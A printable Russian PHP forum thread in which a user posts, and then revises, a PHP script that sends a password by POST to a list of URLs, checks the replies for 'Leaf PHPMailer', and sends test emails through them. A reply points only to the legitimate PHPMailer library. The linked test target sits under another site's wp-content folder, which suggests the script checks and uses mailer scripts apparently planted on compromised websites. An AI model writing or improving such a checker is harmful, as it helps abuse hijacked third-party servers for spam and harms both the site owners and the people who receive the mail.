Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770
Форумы портала PHP.SU :: Версия для печати :: PHP Форма и скрипт обработчик отправка письма
Форумы портала PHP.SU » PHP » Напишите за меня, пожалуйста » PHP Форма и скрипт обработчик отправка письма

Страниц (1): [1]
 

1. sherxan-g - 22 Августа, 2021 - 17:05:27 - перейти к сообщению
Уважаемые Программисты выручайте пожалуйста если нетрудно. На сайте есть поле ввода адреса электронной почты. Я хотел бы заполнить это поле адресом электронной почты и отправить форму. И получу (ok) код с сайта. Мой скрипт обработчик
PHP:
скопировать код в буфер обмена
  1. function checkValid($url,$pass){
  2. $opts = array('http' =>
  3.                 array(
  4.                         'method'  => 'POST',
  5.                         'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null,
  6.                         'user_agent'=>USER_AGENT,
  7.                         'header'  => 'Content-type: application/x-www-form-urlencoded',
  8.                         'content' => http_build_query(
  9.                                 array(
  10.                                         'pass' => $pass,
  11.                                 )
  12.                 )));
  13.         $context  = stream_context_create($opts);
  14.         preg_match('#(Leaf PHPMailer)#i',@file_get_contents($url, false, $context),$matches);                  
  15.         return $matches[0];            
  16.                        
  17. }

скрипт только чекер на валидность (Leaf PHPMailer) но мне нужно чтобы отправлял и тестовый письмо на указаны e-mail а вот скрипт (Leaf PHPMailer) https://github[dot]com/lordparody/Lo[dot][dot][dot]lob/master/m.php можно тестировать здесь https://nhau[dot]co[dot]zw/wp-content/pl[dot][dot][dot]js/Send_Test.php заранее спасибо, низки поклон
2. sherxan-g - 23 Августа, 2021 - 20:14:28 - перейти к сообщению
Редактировал обработчик, всё нормально работает только есть одна проблема сам письма доходит на указанный майл но текст письма пустое но она должна быть (WORKING !) скажите пожалуйста что сделал не так???
PHP:
скопировать код в буфер обмена
  1. function checkValid($url,$pass){
  2. $opts = array('http' =>
  3.                 array(
  4.                         'method'  => 'POST',
  5.                         'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null,
  6.                         'user_agent'=>USER_AGENT,
  7.                         'header'  => 'Content-type: application/x-www-form-urlencoded',
  8.                         'content' => http_build_query(
  9.                                 array(
  10.                                         'pass' => $pass,
  11.                                         'emailList' => 'xidebe2039@fleeebay.com',
  12.                     'subject' => 'Send Test',
  13.                     'messageLetter' => 'WORKING !',
  14.                     'action' => 'send'
  15.                                 )
  16.                 )));
  17.         $context  = stream_context_create($opts);
  18.         preg_match('#(Leaf PHPMailer)#i',@file_get_contents($url, false, $context),$matches);                  
  19.         return $matches[0];            
  20.                        
  21. }      
3. don.bidon - 23 Августа, 2021 - 20:47:44 - перейти к сообщению
Да воспользуйтесь уже https://github[dot]com/PHPMailer/PHPMailer

 

Powered by ExBB FM 1.0 RC1